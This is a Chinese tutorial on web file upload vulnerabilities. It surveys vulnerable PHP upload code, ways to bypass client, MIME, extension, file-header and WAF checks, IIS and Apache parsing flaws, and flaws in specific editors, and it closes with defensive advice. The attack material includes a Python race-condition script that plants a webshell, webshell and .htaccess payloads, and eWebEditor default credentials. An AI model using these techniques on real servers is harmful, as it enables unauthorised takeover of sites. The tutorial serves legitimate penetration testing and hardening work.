简单粗暴的文件上传漏洞

本文作者:Anthem

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识。俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用。

特点

1、利用简单

2、危害大

产生原因

缺少必要的校验

代码审计

基础

关于 PHP 中 $_FILES 数组的使用方法

$_FILES[‘file’][‘name’] 客户端文件名称

$_FILES[‘file’][‘type’] 文件的 MIME 类型

$_FILES[‘file’][‘size’] 文件大小单位字节

$_FILES[‘file’][‘tmp_name’] 文件被上传后再服务器端临时文件名,可以在 php.ini 中指定

需要注意的是在文件上传结束后,默认的被储存在临时文件夹中,这时必须把他从临时目录中删除或移动到其他地方,否则,脚本运行完毕后,自动删除临时文件,可以使用 copy 或者 *move_uploaded_file 两个函数

程序员对某些常用函数的错误认识

这些函数有: empty()、isset()、strpos()、rename() 等,如下面的代码:

#!php
if($operateId == 1){
    $date = date("Ymd");
    $dest = $CONFIG->basePath."data/files/".$date."/";
    $COMMON->createDir($dest);
    //if (!is_dir($dest))   mkdir($dest, 0777);
    $nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
    $allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
    if(!in_array($nameExt, $allowedType)){
        $msg = 0;
    }
    if(empty($msg)){
        $filename = getmicrotime().'.'.$nameExt;
        $file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
        $filename = $dest.$filename;
        if(empty($_FILES['Filedata']['error'])){
            move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
        }
        if (file_exists($filename)){
            //$msg = 1;
            $msg = $file_url;
            @chmod($filename, 0444);
        }else{
            $msg = 0;
        }
    }
    $outMsg = "fileUrl=".$msg;
    $_SESSION["eoutmsg"] = $outMsg;
    exit;
}

我们来看上面的这段代码,要想文件成功的上传, if(empty($msg)) 必须为 True 才能进入 if 的分支,接下来我们来看 empty 函数何时返回 True,看看 PHP Manual 怎么说,如图:

很明显,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果 var 为空,则返回 True。 非常好,接下来我们往回看,有这样的几行代码

#!php
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');

if(!in_array($nameExt, $allowedType)){
    $msg = 0;
}

看见没有,即使我们上传类似 shell.php 的文件,虽然程序的安全检查把 $msg 赋值为 0,经 empty($msg) 后,仍然返回 True,于是我们利用这个逻辑缺陷即可成功的上传 shell.php。

程序员对某些常用函数的错误使用

这些函数有 iconv()、copy() 等,如下面的这段代码(摘自 SiteStar)

#!php
public function img_create(){
     $file_info =& ParamHolder::get('img_name', array(), PS_FILES);
     if($file_info['error'] > 0){
         Notice::set('mod_marquee/msg', __('Invalid post file data!'));
         Content::redirect(Html::uriquery('mod_tool', 'upload_img'));
     }
     if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])){
         Notice::set('mod_marquee/msg', __('File type error!'));
         Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
     }
     if(file_exists(ROOT.'/upload/image/'.$file_info["name"])){
         $file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
     }
     if(!$this->_savelinkimg($file_info)){
         Notice::set('mod_marquee/msg', __('Link image upload failed!'));
         Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
      }
      //...
 }
private function _savelinkimg($struct_file){
    $struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);
    move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
    return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}

我们再来看看这段代码, img_create() 函数的逻辑非常严密,安全检查做的很到位。然而问题出在了 _savelinkimg() 函数,即在保存文件的前面程序员错误的使用了 iconv() 函数,并且文件名经过了此函数,为什么是错用了呢?

因为啊 iconv 函数在转码过程中,可能存在字符串截断的问题:

iconv 转码的过程中, utf->gb2312 (其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:

$filename="shell.php(hex).jpg";

(hex 为 0x80-0x99),经过 iconv 转码后会变成 $filename="shell.php ";

所以,经过 iconv 后 $struct_file['name']) 为 shell.php,于是我们利用这个逻辑缺陷可以成功的上传 shell.php (前提是上传的文件名为 shell.php{%80-%99}.jpg)

历史经典漏洞再次爆发

条件竞争漏洞,这类历史经典漏洞在逐渐淡出人们视线的时候,再次爆发..

接着看下面这段代码(摘自某 VPN 系统)

#!php
<?
if($_POST['realfile']){
    copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile']){
    unlink($_POST["path"]);
}
?>

上述代码的逻辑表面上看起来是这样的(对于攻击者来说):

利用 copy 函数,将 realfile 生成 shell.php 然后删除掉 shell.php

这样初看起来没办法利用,但是仔细一想, 这段代码其实是存在逻辑问题的,所以我们可以利用这个逻辑缺陷达到 GetShell 的目的。

具体利用方法:

copy 成 temp.php --> 不断访问 temp.php --> temp.php 生成 shell.php --> 删除 temp.php --> 留下 shell.php

校验方式分类&总结

客户端 javascript 校验(一般只校验后缀名)

服务端校验

1、文件头 content-type 字段校验(image/gif)

2、文件内容头校验(GIF89a)

3、后缀名黑名单校验

4、后缀名白名单校验

5、自定义正则校验

6、WAF 设备校验(根据不同的 WAF 产品而定)

校验方式溯源

通常一个文件以 HTTP 协议进行上传时,将以 POST 请求发送至 Web 服务器,Web 服务器接收到请求并同意后,用户与 Web 服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

校验方式&绕过姿势

PUT 方法

WebDAV 是一种基于 HTTP 1.1 协议的通信协议.它扩展了 HTTP 1.1,在 GET、POST、HEAD 等几个 HTTP 标准方法以外添加了一些新的方法。使应用程序可直接对 Web Server 直接读写,并支持写文件锁定 (Locking) 及解锁 (Unlock),还可以支持文件的版本控制。当 WebDAV 开启 PUT,MOVE,COPY,DELETE 方法时,攻击者就可以向服务器上传危险脚本文件。

此时可以使用 OPTIONS 探测服务器支持的 http 方法,如果支持 PUT,就进行上传脚本文件,在通过 MOVE 或 COPY 方法改名。

当开启 DELETE 时还可以删除文件。

参考:

http://wiki.wooyun.org/server:httpput

客户端校验

JavaScript 校验

验证代码如下:

<?php
//文件上传漏洞演示脚本之js验证
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
            echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
        }
    } else {
        exit($uploaddir . '文件夹不存在,请手工创建!');
    }
    //print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
    <meta http-equiv="content-language" content="zh-CN"/>
    <title>文件上传漏洞演示脚本--JS验证实例</title>
    <script type="text/javascript">
       function checkFile() {
            var file = document.getElementsByName('upfile')[0].value;
            if (file == null || file == "") {
                alert("你还没有选择任何文件,不能上传!");
                return false;
            }
            //定义允许上传的文件类型
            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
            //提取上传文件的类型
            var ext_name = file.substring(file.lastIndexOf("."));
            //alert(ext_name);
            //alert(ext_name + "|");
            //判断上传文件类型是否允许上传
            if (allow_ext.indexOf(ext_name + "|") == -1) {
                var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" +     ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
<body>
<h3>文件上传漏洞演示脚本--JS验证实例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return     checkFile()">
    <input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
    请选择要上传的文件:<input type="file" name="upfile"/>
    <input type="submit" name="submit" value="上传"/>
</form>
</body>
</html>

客户端 JS 验证通常做法是验证上传文件的扩展名是否符合验证条件

绕过姿势:

1、通过 firefox 的 F12 修改 js 代码绕过验证

2、使用 burp 抓包直接提交,绕过 js 验证

服务器端校验

文件头 content-type 字段校验(服务端 MIME 类型检测)

MIME类型介绍:

MIME type 的缩写为 (Multipurpose Internet Mail Extensions) 代表互联网媒体类型 (Internet media type),MIME 使用一个简单的字符串组成,最初是为了标识邮件 Email 附件的类型,在 html 文件中可以使用 content-type 属性表示,描述了文件类型的互联网标准。

Internet 中有一个专门组织 IANA 来确认标准的 MIME 类型,但 Internet 发展的太快,很多应用程序等不及 IANA 来确认他们使用的 MIME 类型为标准类型。因此他们使用在类别中以 x- 开头的方法标识这个类别还没有成为标准,例如: x-gzip,x-tar 等。事实上这些类型运用的很广泛,已经成为了事实标准。只要客户机和服务器共同承认这个 MIME 类型,即使它是不标准的类型也没有关系,客户程序就能根据 MIME 类型,采用具体的处理手段来处理数据。

Response 对象通过设置 ContentType 使客户端浏览器,区分不同种类的数据,并根据不同的 MIME 调用浏览器内不同的程序嵌入模块来处理相应的数据。

MIME类型格式:

类别/子类别; 参数

Content-Type: [type]/[subtype]; parameter

MIME 主类别:

text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;

Application:用于传输应用程序数据或者二进制数据;

Message:用于包装一个 E-mail 消息;

Image:用于传输静态图片数据;

Audio:用于传输音频或者音声数据;

Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

常见MIME类型:

验证代码

<?php
if($_FILE['userfile']['type'] != "image/gif"){ //检测content-type
    echo "sorry,we only allow uploading GIF images";
    exit;
}
else
{
    echo "Upload success!";
}
?>

以上是一个简单的服务器上传验证代码,只要 content-type 符合 image/gif 就允许上传

绕过方式

使用 Burp 截取上传数据包,修改 Content-Type 的值,改为 image/gif 即可成功绕过上传 webshell

服务端文件扩展名检测

测试代码

<?php
$type = array("php","php3");
//判断上传文件类型
$fileext = fileext($_FILE['file']['name']);
if(!in_array($fileext,$type)){
    echo "upload success!";
}
else{
    echo "sorry";
}
?>

默认上传后的文件保存的名字是已获取到的名字

绕过技巧

配合 Apache 的 .htaccess 文件上传解析漏洞

.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能 IIS 平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

有些服务器在上传认证时没有拦截 .htaccess 文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传 WEBShell,从而达到控制网站服务器的目的。

首先我们编写一个 .htaccess 文件,打开记事本,编写代码 “AddType application/x-httpd-php .jpg”,然后点击文件选中另存为,编写文件名为 .htaccess,选择保存类型为所有文件。然后将其进行上传。因为 .htaccess 是 apache 服务器中的一个配置文件,不在上传的文件的黑名单之内,所以 .htaccess 文件是可以上传成功。

接下来我们生成一个一句话木马文件,如取名为 yijuhua.php,因为之前上传成功到服务器的 .htaccess 文件里的代码可以让 .jpg 后缀名文件格式的文件名以 php 格式解析,因此达到了可执行的效果。所以我们把 yijuhua.php 文件的后缀名改为 .jpg 格式,让 .htaccess 文件解析 yijuhua.jpg 文件里的 php 代码,从而使木马上传成功并达到可执行的目的。

Apache 站上的解析缺陷绕过上传漏洞

Apache 的解析漏洞主要特性为 Apache 是从后面开始检查后缀,按最后一个合法后缀执行,整个漏洞的关键就是 Apache 的合法后缀到底是哪些,不是合法后缀的都可以被利用,所以将木马的后缀进行修改为允许上传的类型后,即可成功绕过验证,最终拿到权限。

例如新建完要上传的一句话木马文件后命名为 yijuhua.php,然后我们在文件后缀处添加上 7z,就有可能绕过验证上传成功。也可以修改后缀名为 cab、zip、bmp 等,只要是允许的上传类型都可能被上传成功。最后通过菜刀类工具访问即可。

IIS6.0 站上的目录路径检测解析绕过上传漏洞

当我们使用的服务器都是 Windows2003,并且使用的服务为 IIS6.0 时,就可能存在如本节所描述的漏洞。

以 asp 为例,先准备好一句话木马文件,然后通过 burpsuite 进行抓包:

查看数据包:

其中 Content-Disposition:form-data;name=”path” 下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/ 改为 uploadimg/1.asp/;,filename="yijuhua.asp" 修改为 filename="yijuhua.asp/1.jpg"。如图:

本例的知识点在于利用了 IIS6.0 目录路径检测解析,文件的名字为 “yijuhua.asp/1.jpg”,也同样会被 IIS 当作 ASP 文件来解析并执行。

首先我们请求 /yijuhua.asp/1.jpg,服务器会从头部查找查找 "." 号,获得 .asp/1.jpg。然后查找 "/",如果有则内存截断,所以 /yijuhua.asp/1.jpg 会当做 /yijuhua.asp 进行解析。

上传成功后,通过 response 我们可以查看到得到的文件名信息为 “1.asp;14127900008.asp”,那么就可以在前面添加上 uploadimg/,从而构造访问地址为: “http://www.test.com/uploadimg/1.asp;14127900008.asp”,并通过菜刀类的工具进行访问了。

IIS6.0 站上的解析缺陷绕过上传漏洞

此类方法与上面讲的目录解析有点类似,不同点在于是利用文件解析来达到绕过上传的目的。

以 php 为例,同样是准备好一句话木马文件后通过 burpsuite 进行抓包。

查看数据包:

其中 Content-Disposition:form-data;name=”path” 下面的一行为服务保存文件的相对路径,我们把原本的 uploadimg/ 改为 uploadimg/1.php; ,filename="yijuhua.php" 修改为 filename="yijuhua.jpg"

本例中的知识点在于利用了 IIS6.0 目录路径检测解析,文件的名字为 “1.php;yijuhua.jpg”,也同样会被 IIS 当作 PHP 文件来解析并执行

首先我们请求 /1.php;yijuhua.jpg,然后服务器会从头部查找查找 "." 号,获得 .php;yijuhua.jpg。接着查找到 ";",有则内存截断,所以 /1.php;yijuhua.jpg 会当做 /1.php 进行解析。

最后类似上一节那样,通过 response 我们可以查看到得到的文件名信息为 “1.php;14127900008.php”,在前面添加上 uploadimg/,从而构造访问地址为: “http://www.test.com/uploadimg/1.php;14127900008.php”,并通过菜刀类的工具进行访问。

1、使用大小写绕过(针对对大小写不敏感的系统如 windows),如:PhP

2、使用黑名单外的脚本类型,如:php5,asa 和 cer 等( IIS 默认支持解析 .asp,.cdx, .asa,.cer 等)

能被解析的文件扩展名列表:

jsp jspx jspf

asp asa cer aspx

3、配合操作系统文件命令规则

(1)上传不符合 windows 文件命名规则的文件名

test.asp. test.asp(空格) test.php:1.jpg test.php:: $DATA

会被 windows 系统自动去掉不符合规则符号后面的内容。

(2)linux 下后缀名大小写

在 linux 下,如果上传 php 不被解析,可以试试上传 pHp 后缀的文件名。

(3)借助系统特性突破扩展名验证,如:test.php_(在 windows 下,下划线是空格,保存文件时下划线被吃掉剩下 test.php)

4、双扩展名之间使用 00 截断,绕过验证上传恶意代码

0x00 截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

test.php(0x00).jpg test.php%00.jpg

路径 /upload/1.php(0x00),文件名 1.jpg,结合 /upload/1.php(0x00)/1.jpg

5、超长文件名截断上传 (windows 258byte | linux 4096byte)

服务端检测文件内容

配合文件包含漏洞

前提:校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。

绕过方式:(这里拿 php 为例,此漏洞主要存在于 PHP 中)

(1)先上传一个内容为木马的 txt 后缀文件,因为后缀名的关系没有检验内容;

(2)然后再上传一个 .php 的文件,内容为 <?php Include(“上传的txt文件路径”);?>

此时,这个 php 文件就会去引用 txt 文件的内容,从而绕过校验,下面列举包含的语法:

#PHP    
<?php Include("上传的txt文件路径");?> 
#ASP    
<!--#include file="上传的txt文件路径" -->
#JSP    
<jsp:inclde page="上传的txt文件路径"/>
or  
<%@include file="上传的txt文件路径"%>

详细参考:文件包含漏洞(绕过姿势)

http://thief.one/2017/04/10/2/

利用 PHP 特性(使用数组绕过)

file_put_contents 这个函数的第二个参数 可以是数组

然后 如果代码里用正则匹配 bad word 的时候

对一个数组进行正则匹配没用

服务端检测文件头

文件头简介

不同的图片文件都有不同文件头,如:

PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A

JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)

GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61

PHP 使用 getimagesize 函数验证图片文件头

绕过方式

绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了

在木马内容基础上再加了一些文件信息,有点像下面的结构

GIF89a
<?php phpinfo(); ?>

上传到服务端后验证

竞争上传

演示代码

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
    die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个 php 文件,内容为:

<?php fputs(fopen("./info.php", "w"), '<?php @xxxxxxxx($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell。利用代码如下:

import os
import requests
import threading

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = "http://127.0.0.1:8080/upload/shell0.php"
        self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print("[*]create file info.php success")
            os._exit(0)

    def _upload(self):
        print("upload file.....")
        file = {"file":open("shell0.php","r")}
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(5):
                self._get()
            for i in range(10):
                self._upload()
                self._get()

if __name__ == "__main__":
    threads = 20

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join()

经过几次尝试后成功成功写入 shell

针对各种 CMS

比如说 JCMS 等存在的漏洞,可以针对不同CMS存在的上传漏洞进行绕过。

PHPCMSv9.6.0 任意文件上传

针对各种编辑器漏洞

比如 FCK,ewebeditor 等,可以针对编辑器的漏洞进行绕过。

文本编辑器

常见的文本编辑器有 CKEditor、eWebEditor、UEditor、KindEditor、xhEditor 等,它们的功能类似且都有图片上传、视频上传、远程下载等功能,这类文本编辑器也称为富文本编辑器。

FCKeditor

下面以 FCKeditor (现名为 CKEditor )为例:

1、敏感信息暴漏

查看版本信息

/FCKeditor/editor/dialog/fck_about.html

默认上传页面

/FCKeditor/editor/filemanager/browser/default/browser.html

/FCKeditor/editor/filemanager/browser/default/connectors/test.html

/FCKeditor/editor/filemanager/upload/test.html

/FCKeditor/editor/filemanager/connectors/test.html

/FCKeditor/editor/filemanager/connectors/uploadtest.html

其他敏感文件

/FCKeditor/editor/filemanager/connectors/aspx/connector.html

/FCKeditor/editor/filemanager/connectors/asp/connector.html

/FCKeditor/editor/filemanager/connectors/php/connector.php

2、黑名单策略错误

FCKeditor<=2.4.3 版本采用的是有弊端的黑名单策略,可以采用 asa、cer 等扩展名

3、任意文件上传漏洞

FCKeditor 的 2.4.2 及以下本本的黑名单配置信息里没有定义类型 Media,直接构造 html表单就行,

在 form 中的

action="http://22.22.22.22/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"

即可,然后上传

eWebEditor

1、默认后台

2.80 以前为: ewebeditor/admin_login.asp

2.80 以后为: admin/login.asp

2、默认账号密码

admin admin888

3、数据库地址

默认数据库地址

ewebeditor/db/ewebeditor.mdb

常用数据库地址

ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asa ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb

asp asa 为后缀的数据库下载下来后改为 mdb

针对各种 WAF

1、垃圾数据

有些主机 WAF 软件为了不影响 web 服务器的性能,会对校验的用户数据设置大小上限,比如 1M。此种情况可以构造一个大文件,前面 1M 的内容为垃圾内容,后面才是真正的木马内容,便可以绕过 WAF 对文件内容的校验;

当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。

可以将垃圾数据加上 Content-Disposition 参数后面,参数内容过长,可能会导致 waf 检测出错。

2、filename

针对早期版本安全狗,可以多加一个 filename

或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:

3、POST/GET

有些 WAF 的规则是:如果数据包为 POST 类型,则校验数据包内容。

此种情况可以上传一个 POST 型的数据包,抓包将 POST 改为 GET。

4、以上方式

针对 WAF,以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。

5、利用 waf 本身缺陷

删除实体里面的 Conten-Type 字段

第一种是删除 Content 整行,第二种是删除 C 后面的字符。删除掉 Content-Type: image/jpeg 只留下 c,将 .php 加 c 后面即可,但是要注意额,双引号要跟着 c.php。

正常包:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png

构造包:

Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"

删除 Content-Disposition 字段里的空格

增加一个空格导致安全狗被绕过案列:

Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099

尝试在 boundary 后面加个空格或者其他可被正常处理的字符:

boundary= —————————47146314211411730218525550

修改 Content-Disposition 字段值的大小写

Boundary边界不一致

每次文件上传时的 Boundary 边界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream

<%xxxxxxxx request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段 Boundary 不一致使得 waf 认为这段数据是无意义的,可是容器并没有那么严谨:

Win2k3 + IIS6.0 + ASP

文件名处回车

多个 Content-Disposition

在 IIS 的环境下,上传文件时如果存在多个 Content-Disposition 的话,IIS 会取第一个 Content-Disposition 中的值作为接收参数,而如果 waf 只是取最后一个的话便会被绕过

Win2k8 + IIS7.0 + PHP

利用 NTFS ADS 特性

ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过。

文件重命名绕过

如果 web 程序会将 filename 除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。

特殊的长文件名绕过

文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:

shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反删除

将下图 file1 改成了 file4,这样就不会把这个文件删除了。(JCMS 漏洞)

总结

条件:

寻找一个上传点,查看上传点是否可用。

利用:

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,google 当前编辑器的漏洞

如果是程序员写的上传点

上传一个正常的 jpg 图片 查看上传点是否可用

上传一个正常的 jpg 图片,burp 拦截,修改后缀为 php (可以检测前端验证 MIME 检测 文件内容检测 后缀检测)

上传一个正常的 jpg 图片,burp 拦截, 00 截断 1.php%00.jpg

判断服务器是什么类型,web 服务器程序,是什么类型,版本号多少

利用解析漏洞

防护建议

1、使用白名单限制可以上传的文件扩展(白名单比黑名单可靠多了)

2、验证文件内容,使用正则匹配恶意代码限制上传

3、对上传后的文件统一随机命名,不允许用户控制扩展名

4、修复服务器可能存在的解析漏洞

5、严格限制可以修改服务器配置的文件上传如:.htaccess

6、隐藏上传文件路径。

7、升级Web Server

8、及时修复Web上传代码(重要)

9、不能有本地文件包含漏洞

10、注意0x00截断攻击(PHP更新到最新版本)

11、上传文件的存储目录禁用执行权限

拓展资料

http://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/

参考资料

http://www.y-hkl.top/2017/09/16/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%8F%8A%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/

http://www.cnblogs.com/stevenwuzheng/p/5354236.html

https://blog.csdn.net/weiwangchao_/article/details/46686505

http://www.myh0st.cn/index.php/archives/7/

http://rdc.hundsun.com/portal/article/627.html

http://jdrops.dropsec.xyz/2017/07/17/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://thief.one/2016/09/22/%E4%B8%8A%E4%BC%A0%E6%9C%A8%E9%A9%AC%E5%A7%BF%E5%8A%BF%E6%B1%87%E6%80%BB-%E6%AC%A2%E8%BF%8E%E8%A1%A5%E5%85%85/

http://wyb0.com/posts/file-upload-editor-upload-vulnerability/

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-04-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏分布式系统进阶

Kafka重置消费的OffsetKafka源码分析-汇总

54620
来自专栏数据和云

使用 Oracle 的 Security External Password Store 功能实现数据库加密登陆

编辑手记:让安全成为一种习惯,使用 Oracle 的 Security External Password Store 功能实现加密登录, 不将明文密码暴露在生...

49460
来自专栏我是攻城师

Java程序排查问题利器之Btrace

44640
来自专栏散尽浮华

proxy_pass根据path路径转发时的"/"问题记录

在nginx中配置proxy_pass时,如果是按照^~匹配路径时,要注意proxy_pass后的url最后的/。当加上了/,相当于是绝对根路径,则nginx不...

471100
来自专栏北京马哥教育

教你如何在Fedora,CentOS,RHEL中检查RPM包的依赖性

我们都知道,在基于红帽的Linux系统中,一个RPM包,需要把先将它依赖的其他包安装好才能正常的工作。对于终端用户,RPM的安装、更新、删除中存在的依赖关系已经...

351110
来自专栏漫漫全栈路

Nginx配置文件nginx.conf详解

最近折腾Ubuntu比较多,也基本原理了Windows和IIS了,论一个软狗的堕落史。既然换到Ubuntu系统上来,勉强算个web开发人员的我当然用的最多的就...

74470
来自专栏云计算教程系列

开源资产管理系统Snipe-IT安装教程

在IT行业中,需要完整的生命周期跟踪资产的资产管理,包括采购,维护,存储和处置。Snipe-IT是专为IT资产管理而设计的免费开源应用程序,提供基于Web的界面...

1.9K40
来自专栏我和PYTHON有个约会

爬虫0020:urllib2操作urllib2的使用

至此,我们可以描述爬虫程序,就是用来根据一定的规则采集获取网络中的数据的! 整个采集过程主要步骤如下:

12530
来自专栏刺客博客

Shell把rm改造为mv操作(防止误删文件)

46220
来自专栏Linux运维学习之路

ssh服务、密钥登陆配置

环境内核信息: [root@zabbix-01 ~]# uname -a Linux lodboyedu-01 2.6.32-696.el6.x86_64 #1...

547100

扫码关注云+社区

领取腾讯云代金券